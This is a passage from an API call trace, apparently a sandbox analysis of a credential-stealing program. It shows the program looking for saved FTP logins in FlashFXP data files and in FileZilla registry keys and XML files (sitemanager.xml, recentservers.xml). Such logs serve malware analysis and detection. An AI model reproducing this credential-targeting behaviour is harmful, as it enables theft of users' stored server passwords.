lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.381] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0047.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned 48 [0047.381] lstrlenA (lpString="\\Quick.dat") returned 10 [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a670 [0047.381] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0047.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat" [0047.382] LocalFree (hMem=0x756820) returned 0x0 [0047.382] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0047.382] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0047.382] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat", lpDst=0x74a738, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat") returned 0x3b [0047.382] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.382] LocalFree (hMem=0x74a738) returned 0x0 [0047.382] LocalFree (hMem=0x74a670) returned 0x0 [0047.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.382] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.382] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.382] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0047.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned 48 [0047.382] lstrlenA (lpString="\\History.dat") returned 12 [0047.382] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.382] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0047.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat" [0047.382] LocalFree (hMem=0x756820) returned 0x0 [0047.382] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0047.382] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a738 [0047.382] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat", lpDst=0x74a738, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat") returned 0x3d [0047.382] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.382] LocalFree (hMem=0x74a738) returned 0x0 [0047.382] LocalFree (hMem=0x74a670) returned 0x0 [0047.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.382] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.382] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.382] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0047.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned 48 [0047.382] lstrlenA (lpString="\\History.dat") returned 12 [0047.382] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.382] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0047.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat" [0047.382] LocalFree (hMem=0x756820) returned 0x0 [0047.382] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0047.382] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a738 [0047.382] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat", lpDst=0x74a738, nSize=0x3e | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat") returned 0x3d [0047.382] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.382] LocalFree (hMem=0x74a738) returned 0x0 [0047.382] LocalFree (hMem=0x74a670) returned 0x0 [0047.382] LocalFree (hMem=0x7469f0) returned 0x0 [0047.382] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.382] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.382] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.382] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.382] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.382] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.383] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.383] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.383] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.383] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.383] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.383] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.383] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.384] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.385] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xef4d0 | out: phkResult=0xef4d0*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xef4a4 | out: phkResult=0xef4a4*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xef478 | out: phkResult=0xef478*=0x0) returned 0x2 [0047.386] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", phkResult=0xefd60 | out: phkResult=0xefd60*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.386] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.387] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.387] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.387] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.387] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.387] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.387] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.387] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.387] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.387] lstrlenA (lpString="\\FileZilla") returned 10 [0047.387] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x756820 [0047.387] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0047.387] LocalFree (hMem=0x7469f0) returned 0x0 [0047.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned 49 [0047.387] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0047.387] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x745b68 [0047.387] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0047.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml" [0047.387] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x43 [0047.387] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x7469f0 [0047.387] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpDst=0x7469f0, nSize=0x43 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml") returned 0x42 [0047.387] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.387] LocalFree (hMem=0x7469f0) returned 0x0 [0047.387] LocalFree (hMem=0x745b68) returned 0x0 [0047.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned 49 [0047.387] lstrlenA (lpString="\\recentservers.xml") returned 18 [0047.387] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x745b68 [0047.387] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0047.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml" [0047.387] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x45 [0047.387] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x7469f0 [0047.387] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpDst=0x7469f0, nSize=0x45 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned 0x44 [0047.387] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.388] LocalFree (hMem=0x7469f0) returned 0x0 [0047.388] LocalFree (hMem=0x745b68) returned 0x0 [0047.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned 49 [0047.388] lstrlenA (lpString="\\filezilla.xml") returned 14 [0047.388] LocalAlloc 